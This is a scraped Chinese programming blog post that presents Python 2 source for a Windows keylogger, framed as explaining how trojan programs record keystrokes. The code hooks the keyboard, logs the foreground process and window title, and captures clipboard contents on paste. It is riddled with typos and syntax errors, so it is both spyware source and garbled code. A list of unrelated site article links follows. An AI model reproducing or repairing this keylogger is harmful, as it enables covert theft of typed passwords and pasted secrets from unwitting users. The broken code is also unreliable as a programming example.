Python告诉你木马程序的键盘记录原理


Posted in Python onFebruary 02, 2019

前言

Python keylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook,然后就是对windows API的各种调用。Python之所以用起来方便快捷,主要归功于这些庞大的支持库,正所谓"人生苦短,快用Python"。

# -*- coding: utf-8 -*-
from ctypes inport
import pythoncom
import pyHook
import win32clipboard
user32 = winddll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = Note
def get_current_process():
#获取最上层的窗句柄
hwnd = user32.GetForegroundWindow()
#获取进程ID
pid = c_ulong(0)
user32. GetwindowThreadProcessId(hwnd,byref(pid))
#将进程ID存入变量中
process_ = "%d" % pid.value
#申请内存
executable = create_string_buffer("\x00"*522)
h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
#读取窗口标题
windows_title = create_string_buffer("\x00",512)
length = user32.GetWindowTextA(hwnd,byref(windows.title),512)
#打印
print
print "[PID:%s-%s-%s]" %(process_id,executable.value,windows_title.value)
print
#关闭handles
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
#关闭键盘监听事件函数
def KeyStroke(event):
global current_window
#检测目标窗口是否转移(换了其他窗口就监听新窗口)
if event,WindowName !=current_window:
current_window = event.WindowName
#函数调用
get_current_process()
#检测击键是否常规按键(非组合键等)
if event.Ascii>32 and enent .Ascii <127 :
print chr(event.Ascii),
else:
#如果发现ctrl + V事件,就粘贴板内容记录下来
if event.Key == "V"
win32clipboard.OpenClipdoard()
pasted_value = win32clipdoard. GetClipdoardData()
win32clipdoard.CloseClipboard()
print "[PASTE]-%s" %(pasted_value),
else:
print "[%s]" %event.Key,
循环监听下一个事件
return True
#创建并注册hook管理器
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke
#注册hook并兴趣
kl.hookKeyboard()
pythoncom.PumpMessages()

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对三水点靠木的支持。如果你想了解更多相关内容请查看下面相关链接

Python 相关文章推荐
Python日期操作学习笔记
Oct 07 Python
教你安装python Django(图文)
Nov 04 Python
python2.7的编码问题与解决方法
Oct 04 Python
python中日志logging模块的性能及多进程详解
Jul 18 Python
python中numpy的矩阵、多维数组的用法
Feb 05 Python
python docx 中文字体设置的操作方法
May 08 Python
Python异常处理操作实例详解
Aug 28 Python
python matplotlib饼状图参数及用法解析
Nov 04 Python
python中从for循环延申到推导式的具体使用
Nov 29 Python
Python filter()及reduce()函数使用方法解析
Sep 05 Python
python3 实现mysql数据库连接池的示例代码
Apr 17 Python
Python 读写 Matlab Mat 格式数据的操作
May 19 Python
Python实现DDos攻击实例详解
Feb 02 #Python
Python实现SQL注入检测插件实例代码
Feb 02 #Python
Django uwsgi Nginx 的生产环境部署详解
Feb 02 #Python
python实现一个简单的udp通信的示例代码
Feb 01 #Python
Python读取指定日期邮件的实例
Feb 01 #Python
Python 利用切片从列表中取出一部分使用的方法
Feb 01 #Python
对pandas通过索引提取dataframe的行方法详解
Feb 01 #Python
You might like
一个简单的自动发送邮件系统(一)
2006/10/09 PHP
PHP学习笔记(二) 了解PHP的基本语法以及目录结构
2014/08/04 PHP
php从给定url获取文件扩展名的方法
2015/03/14 PHP
javascript中对Attr(dom中属性)的操作示例讲解
2013/12/02 Javascript
DWR中各种java方法的调用
2016/05/04 Javascript
AngularJS学习笔记之依赖注入详解
2016/05/16 Javascript
javascript基本语法
2016/05/31 Javascript
微信浏览器禁止页面下拉查看网址实例详解
2017/06/28 Javascript
VS Code转换大小写、修改选中文字或代码颜色的方法
2017/12/15 Javascript
为vue-router懒加载时下载js的过程中添加loading提示避免无响应问题
2018/04/03 Javascript
JS div匀速移动动画与变速移动动画代码实例
2019/03/26 Javascript
Vue表单绑定的实例代码(单选按钮,选择框(单选时,多选时,用 v-for 渲染的动态选项)
2019/05/13 Javascript
jQuery操作cookie的示例代码
2019/06/05 jQuery
详解vue-template-admin三级路由无法缓存的解决方案
2020/03/10 Javascript
javascript代码实现简易计算器
2021/01/25 Javascript
[01:51]2014DOTA2西雅图邀请赛 MVP 外卡赛black场间采访
2014/07/09 DOTA
[04:50]DOTA2亚洲邀请赛小组赛第四日 TOP10精彩集锦
2015/02/02 DOTA
[03:36]DOTA2完美大师赛coL战队趣味视频——我演你猜
2017/11/23 DOTA
python基础之包的导入和__init__.py的介绍
2018/01/08 Python
Python序列对象与String类型内置方法详解
2019/10/22 Python
python第三方库学习笔记
2020/02/07 Python
在python中使用pymysql往mysql数据库中插入(insert)数据实例
2020/03/02 Python
python redis存入字典序列化存储教程
2020/07/16 Python
pycharm中选中一个单词替换所有重复单词的实现方法
2020/11/17 Python
国外平面设计素材网站:The Hungry JPEG
2017/03/28 全球购物
西班牙香水和化妆品网上商店:Douglas
2017/10/29 全球购物
美国领先的低折扣旅行网站:Hotwire
2019/01/19 全球购物
中科创达面试题
2016/12/28 面试题
社区工作者先进事迹
2014/01/18 职场文书
计生专干事迹
2014/05/28 职场文书
整改报告格式
2014/11/06 职场文书
教师外出学习心得体会
2016/01/18 职场文书
2016年大学生党员公开承诺书
2016/03/24 职场文书
演讲稿之开卷有益
2019/08/07 职场文书
MySQL系列之开篇 MySQL关系型数据库基础概念
2021/07/02 MySQL
oracle重置序列从0开始递增1
2022/02/28 Oracle